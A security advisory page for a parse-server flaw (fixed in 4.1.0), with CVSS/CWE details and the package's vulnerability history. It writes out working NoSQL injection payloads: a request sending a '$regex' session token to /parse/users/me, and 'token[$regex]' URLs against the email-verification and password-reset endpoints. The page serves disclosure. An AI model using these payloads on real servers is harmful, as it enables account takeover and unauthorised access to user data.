Information disclosure in parse-server
- you can fetch all the users' objects, by using regex in the NoSQL query.
Using the NoSQL, you can use a regex on sessionToken
("_SessionToken":{"$regex":"r:027f"}}and find valid accounts this way.
Using this method, it's possible to retrieve accounts without interaction from the users.
GET /parse/users/me HTTP/1.1
{
"_ApplicationId": "appName",
"_JavaScriptKey": "javascriptkey",
"_ClientVersion": "js2.10.0",
"_InstallationId": "ca713ee2-6e60-d023-a8fe-14e1bfb2f300",
"_SessionToken": {
"$regex": "r:5"
}
}When trying it with an update query the same thing luckily doesn't seem to work: POST /parse/classes/_User/PPNk59jPPZ
- There is another similar vulnerability in verify email and the request password reset.
If you sign up with someone else's email address, you can simply use regex in the token param to verify the account: http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a&username=some@email.com
The same thing can be done for reset password: http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a&username=some@email.com
You may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | parse-server | < 4.1.0 | 4.1.0 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N- Weakness (CWE)
CWE-200, CWE-285- Platform
- npm
- Package
parse-server- Disclosed
- 04.03.2020
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-h4mf-75hf-67w4 - CC BY 4.0
Vulnerability history: parse-server
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 116
- First → latest
- 06.2019 06.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 17
- High 49
- Medium 40
- Low 10
Disclosures per year
- 2019: 2
- 2020: 4
- 2021: 4
- 2022: 12
- 2023: 5
- 2024: 4
- 2025: 6
- 2026: 79
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Information disclosure in parse-server this entry
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